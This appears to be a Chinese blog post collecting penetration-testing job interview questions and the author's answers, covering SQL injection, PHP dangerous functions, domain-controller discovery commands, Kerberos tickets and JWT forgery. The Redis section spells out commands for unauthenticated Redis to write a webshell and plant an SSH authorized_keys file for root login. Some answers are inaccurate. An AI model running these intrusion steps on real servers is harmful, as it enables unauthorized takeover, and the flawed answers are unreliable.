近期一些面试问题的整理(安全方向)
君立华域/渗透测试
一面
挖过的洞
- SQL注入、敏感信息、未授权、文件上传、弱口令、xss(教育、政府不收)
PHP危险函数
- extract()变量覆盖
- create_function()匿名函数
- system()、assert()、eval()、shell_exec()等命令执行的函数
- more()、less()、head()、print_r()等读取函数
SQL注入布尔盲注怎么判断能否注入
- 截断要判断的字符(数据库、表、列名)进行ascii值判断,若正确则返回正常页面,错误不返回
内网主机怎么判断域控
- net view /domain判断主域(时间服务器)
- net group "domain controllers" /domain查看所有的域控
- dsquery server查看域控ip
内网权限维持的方法
- 黄金票据、白银票据
委派SPN中,SPN是什么
- 服务实体名称,如HTTP、FTP等服务
拿到域中一台服务器,怎么接着渗透域控
- (这里推荐百度找更好的答案)
- 我:拿到域中服务器先判断主域,再用msf添加一条内网的路由,抓取本地管理员密码(一般管理员能登陆进域),登录域再进行渗透
- 面试大佬:要是服务器不在域里呢
- 我:茫然
一个网站的测试流程,比如有个登录框
-
有登陆框,先测试XSS、弱口令、注入(万能密码),查询相关的JS是否有泄露后台接口,有查询参数再测试是否有SQL注入,其余的我都交给漏扫了
-
面试大佬:在实际情况的渗透测试网站里面,我们是不能使用漏扫的,客户会投诉
二面HR
一些SRC漏洞的挖掘情况
- 没有固定回答
让你印象深刻的ctf题目
-
答:JWT伪造,题目泄露密钥造成身份伪造
-
问:JWT伪造的密钥在第几部分
-
答:第二部分
-
问:JWT中第三部分是什么
-
答:token,用于验证身份的(类似于cookie)
SQL截取字符的函数、mysql开放端口
- substr()函数、3306
如何在没有报错情况下,判断是什么数据库
- 注释符(辅助符)区分:mysql - "/" 而 oracle - "--"
- 函数区分:mysql/mssql - len()、substring()、substr(),oracle - length()、substr()
- 常见搭配判断:php+mysql、asp+access、jsp+mysql/oracle
asp.net可能搭配的数据库
- mssql
其他都OK,遗憾的是暂时不收暑假实习生(这里很建议有时间马上能工作了再去面试)
亚信安全/安全服务
挖过的洞
- 同上
redis未授权写shell的几种方式
-
答的时候只回答了写入定时任务然后反弹shell
-
(百度的答案)写入网站绝对路径(apache)
-
config set dir /var/www/html/
-
config set dbfilename redis.php
-
set webshell “”
-
save
-
(百度的答案)SSH key文件利用
-
首先在攻击机生成密匙:ssh-keygen –t rsa
-
看到生成的文件被保存在了上图的路径中,cd /root/.ssh/,并cat查看文件内容
-
然后将公钥写入key.txt中(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt
-
然后连接redis进行写入
-
cat key.txt | redis-cli -h 192.168.136.133 -x set crackit
-
redis-cli -h 192.168.1.11
-
192.168.136.133:6379> config set dir /root/.ssh/
-
192.168.1.11:6379> config set dbfilename “authorized_keys”
-
192.168.1.11:6379> save
-
然后回到攻击机,利用自己的密钥进行ssh登录:
-
ssh –i id_rsa root@192.168.136.133
会的语言,python写过什么脚本吗
- 学校系统自动打卡,模拟点击登录,从数据库里面查询账号、密码进行登录打卡
没了问的挺简单的,怕是在君立华域面试时候认识的大佬又给我内推了这家